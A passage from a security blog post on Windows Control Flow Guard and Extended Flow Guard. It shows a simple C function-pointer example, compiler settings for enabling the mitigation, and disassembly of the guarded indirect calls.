style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> result1 = operation(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;\nResult of addition: %d\n&quot;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, result1);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; }</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">else</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; {</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Assign the address of the subtract function to the function pointer</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; operation = subtract;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Call the function indirectly using the function pointer</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> result2 = operation(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;\nResult of subtraction: %d\n&quot;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, result2);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; }</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Define the add function</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b) {</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a + b;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Define the subtract function</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">subtract</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b) {</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a - b;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p></p><p>You can turn on CFG using following visual studio configuration options</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/HiKeDOVbEygu8PCzoYjJ97zo71ENlcE-3OG3zDXxPD2AKo538DEaSD1PB6TpyYOZ9bvZoylgcNhbl2DqJ4gYGhJFa-B8sE-Kw_G6__zBKoNShfPEt09Xgii5bnqEmLkQ-tlLCskqNYIRYtb7tFlMrq0" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="445"></figure><p>Once the binary is compiled, you can load it in PEBear to verify it has a Load Configuration data directory.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/o6vWZ47-BglNrkETITFArmfWnXTcj3tLWA111sPXQikHUluBZ-lEm96MQG4O-jcZ5FR80TmE78hbvZ92Hkon5T9gMgwyjqRFOK1jFXPnkpjTkCF9ezo5cvyU0HapaNyAxvOz-7aMwdLIDoLlcvt3zmU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="444"></figure><p>Now, let&#x2019;s load the binary in IDA and look at the changes.</p><p>Before</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/bYPtB662hdRlaWzUitgd1HV3b0SdT3RNUX58_WVd_NWktgtXS0OVAtq5VZKT8KMui30ssnzR_-LP0AsYcNAOEnKg5__rGTjfYrQCeS7AnamqoCTx-NmJ-T_d3Jx73bIeM9P0Whbzn9QDn8I17orKjII" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="315"></figure><p>After:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ZnekKpqBqVDJR9qib7oPAYYiphvHhplL65xLALGOksxoMTYfeDCverE2aTIhmJurZoprHD2TikVY__xtRtCZGjbCQ_2xYdevQALx_zDZnf3dCc_yC4KIcGYSstJ-ozfbzY6FFzOeyRsnZVA9YPg_pqY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="314"></figure><p>You can notice that the indirect call ( <em><code>call rsp+68h+operation</code></em>) gets replaced with call to<em> _guard_dispatch_icall_fptr</em>. The calling address is passed using <em>rax </em>register and variables are passed using the default calling convention<em> rcx, rdx</em>&#x2026;</p><p>The code for verifying the call target using bitmap is present in ntdll:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/-BCSnR4TOa4LIjWbMxkLDX5bwhb-YOlIC8ic2AXj3AmRxdwUM2QvDiL43gHWM5sQKk7b3mpNtVU-1e5n2CiAaxJPOPDyUdwDQ-EAd2fyjwXQSJahguq4OHWLyo7VTzrMOKO9g2LfOTbaZgTVQYKb9r0" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="131"></figure><p>If the check fails, the execution get stopped.</p><p><strong>Resources</strong></p><p><a href="http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf?ref=nixhacker.com">http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf</a></p><p><a href="https://lucasg.github.io/2017/02/05/Control-Flow-Guard/?ref=nixhacker.com">https://lucasg.github.io/2017/02/05/Control-Flow-Guard/</a></p><p><a href="https://learn.microsoft.com/en-us/windows/win32/secbp/pe-metadata?ref=nixhacker.com">https://learn.microsoft.com/en-us/windows/win32/secbp/pe-metadata</a></p><p></p><h4 id="xfg-extended-flow-guard-honorable-mention">XFG (extended flow guard) (Honorable mention)</h4><p>Due to coarse gain nature of CFG where attacker can still call the gadgets part of valid call sites, Windows developer&#x2019;s decided to come up with a fine grained solution on top of CFG</p><p>XFG adds a check on top of default CFG which verifies if the caller who called the call site is correct or not. To perform this, the compiler will generate a 55-bit hash based on the function name, number of arguments, the type of arguments, and the return type. This hash will be embedded in the code just prior to the call into XFG. Later inside <em>LdrpDispatchUserCallTargetXFG </em>the value is matched to be the same or not.</p><p>At the caller you will see something like below:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#19171c;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">20</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">call</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; printf</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">25</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, [</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rsp</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">38h</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+var_18]</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+2A &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; [</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rsp</span><span 